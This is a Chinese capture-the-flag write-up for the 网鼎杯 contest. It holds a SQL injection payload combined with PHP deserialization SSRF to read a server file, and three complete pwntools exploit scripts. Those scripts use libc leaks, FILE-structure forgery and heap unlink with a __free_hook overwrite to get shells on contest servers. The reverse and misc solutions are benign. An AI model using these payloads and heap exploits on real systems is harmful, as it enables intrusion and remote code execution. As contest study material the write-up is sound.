[网鼎杯] writeup

网鼎杯

这次还行很开心



挺满足

题目列表

web

facebook

首先访问robots.txt



存在备份泄露,把user.php.bak下载下来

name = $name;
        $this->age = (int)$age;
        $this->blog = $blog;
    }

    function get($url)
    {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);
        return $output;
    }
    public function getBlogContents ()
    {
        return $this->get($this->blog);
    }

    public function isValidBlog ()
    {
        $blog = $this->blog;
        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
    }

注册一个账号,发现

view.php的no参数是可以注入的


payload:/view.php?no=-6 unIon/**/select 1,table_name,3,4 from information_schema.tables where table_schema=database()


可以注入出表名
也可以注入出列名
from information_schema.columns where table_schema=database() limit 0,3
分别是 nousernamepassworddata
查看data的数据会发现是一个序列化的数据

他没有查找到东西就没有调用 getBlogContents()
而且用了php的 unserialize()函数
所以我们可以通过反序列化来实现ssrf读取任意文件
/view.php?no=1 unIon/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:6:"ckj123";s:3:"age";i:111111;s:4:"blog";s:29:"file:///var/www/html/flag.php";} '

re

Advance

d语言
..讲道理我是猜的 给的那一串东西decode hex后为这样一个字符串:
“K@LKVHr[DXEsLsYI@\AMYIr\EIZQ”
然后猜异或就出来了..
脚本

stringA = r'K@LKVHr[DXEsLsYI@\AMYIr\EIZQ'
flag = ''
for i in range(len(stringA)):
    if(i % 2 == 0):
        flag += chr(ord(stringA[i]) ^ 45)
    else:
        flag += chr(ord(stringA[i]) ^ 44)
print(flag)

Beijing

string = 'aginbefjml{z}_W'
num = [6,9,0,1,0xa,0,8,0,0xb,2,3,1,0xd,4,5,2,7,2,3,1,0xc]
flag = ''
for i in num:
    flag += string[i]
print(flag)

flag{amazing_beijing}

pwn

GUESS

fork出的进程所以不怕崩,直接通过___stack_chk_fail()打印出libc地址,然后通过libc里的环境变量打印出栈地址,最后打印出栈里的flag,刚好三次

#coding=utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']

local = 0

if local:
    cn = process('./guess')
    bin = ELF('./guess')
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
    #libc = ELF('/lib/i386-linux-gnu/libc-2.23.so')
else:
    cn = remote('106.75.90.160',9999)
    bin = ELF('./guess')
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')


def z(a=''):
    gdb.attach(cn,a)
    if a == '':
        raw_input()


cn.sendline(p64(0x602020)*200)

cn.recvuntil('***: ')
lbase = u64(cn.recvuntil('\x7f').ljust(8,'\x00')) - libc.sym['puts']
print('lbase:' + hex(lbase))

env = lbase + libc.sym['environ']

cn.sendline(p64(env)*200)
cn.recvuntil('***: ')
sbase = u64(cn.recvuntil('\x7f').ljust(8,'\x00')) - 0x168
print('sbase:' + hex(sbase))

cn.sendline(p64(sbase)*200)

#z('c')
cn.interactive()

blind

有fastbin atk能任意地址写但没有leak,而且got表也不可写,但能伪造bss上的文件指针,使用自己伪造的虚表执行getshell函数

from pwn import *
context.log_level='debug'
p=remote('106.75.20.44',9999)
#p=process('./blind')
p.recv()
def pr():
    p.recvuntil('ice:')
def new(index,content,sh=0):
    p.send('1\n')
    p.recvuntil('Index:')
    p.send(str(index))
    p.recvuntil(':')
    p.sendline(content)
    if sh==1:
        p.interactive()
    pr()

def change(index,content,sh=0):
    p.send('2\n')
    p.recvuntil('Index:')
    p.send(str(index))
    p.recvuntil(':')
    p.sendline(content)
    if sh==1:
        p.interactive()
    pr()

def free(index):
    p.send('3\n')
    p.recvuntil('Index:')
    p.send(str(index))
    pr()

def write(addr,v,sh=0):
    change(0,p64(0x602060)+p64(addr))
    change(1,v,sh)

puts=0x601FA0
ptr=0x602060
target=0x60201d
shell=0x4008E3
new(0,"asdasd")
free(0)
change(0,p64(target))
new(5,p64(shell)*10)
new(3,'\x00'*3+'\x00'*0x30+p64(0x602060))

write(0x602100,p64(0xfbada887)+p64(0)*7+p64(1))
write(0x6021d8,p64(0x602200))
write(0x602200, p64(shell)*8)
write(0x602020,p64(0x602100),1)
p.interactive()

babyheap

fastbin attack leak出heap地址,
unlink 改bss(次数应该不够,去修改那个计数器能无限续)

#coding=utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']

local = 0

if local:
    cn = process('./babyheap')
    bin = ELF('./babyheap',checksec=False)
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
else:
    cn = remote('106.75.67.115', 9999)
    bin = ELF('./babyheap',checksec=False)
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
    pass


def z(a=''):
    gdb.attach(cn,a)
    if a == '':
        raw_input()


def add(idx,con):
    cn.sendlineafter('Choice:','1')
    cn.sendlineafter(':',str(idx))
    cn.sendlineafter(':',con)

def edit(idx,con):
    cn.sendlineafter('Choice:','2')
    cn.sendlineafter(':',str(idx))
    cn.sendlineafter(':',con)

def dele(idx):
    cn.sendlineafter('Choice:','4')
    cn.sendlineafter(':',str(idx))

def show(idx):
    cn.sendlineafter('Choice:','3')
    cn.sendlineafter(':',str(idx))


add(0,p64(0x30)*3+'\x30')
add(1,'asd')
add(2,'asd')
add(3,'asd')
add(4,p64(0)+p64(0x21))

dele(2)
dele(3)
show(3)

hbase=u64(cn.recvuntil('\n')[:-1].ljust(8,'\x00'))-0x60
success(hex(hbase))

edit(3,p64(hbase+0x20))


dele(0)
add(9,p64(0)+p64(0x21)+p64(0x30)+p32(0x30))

# z()

add(6,'/bin/sh')
add(7,p64(0x20)+p64(0x90))

dele(0)

add(8,p64(0)+p64(0x21)+p64(0x0602060-0x18+9*8)+p32(0x0602060-0x10+9*8))

dele(1)

# z('b*0x0000000000400C86\nc')
edit(9,p64(0x000000000602098)*2+p64(0x0000000006020B0)+p32(bin.got['free']))
show(9)

lbase=u64(cn.recvuntil('\n')[:-1].ljust(8,'\x00'))-libc.sym['free']
success(hex(lbase))

# z('b*0x0000000000400B1D\nc')
edit(8,p64(0))

edit(7,p64(0x000000000602098)+p64(0x0000000006020B0)+p64(lbase+libc.sym['__free_hook'])[:-1])

edit(8,p64(0))

edit(9,p64(lbase+libc.sym['system'])[:-1])

# z('b free\nc')
dele(3)
# z()

cn.interactive()

misc

clip

下载下来之后有这两个文件



告诉我们要切割
010editor打开damaged.disk
会在里面找到两个

然后将这两张png分别拿出来补齐文件头和文件尾
前面加上
89 50 4E 47 0D 0A 1A 0A
后面加上
00 00 00 00 49 45 4E 44 AE 42 60 82
就可以得到两张图片了



然后将两张图片切成数个图拼起来得到flag

你可能感兴趣的:([网鼎杯] writeup)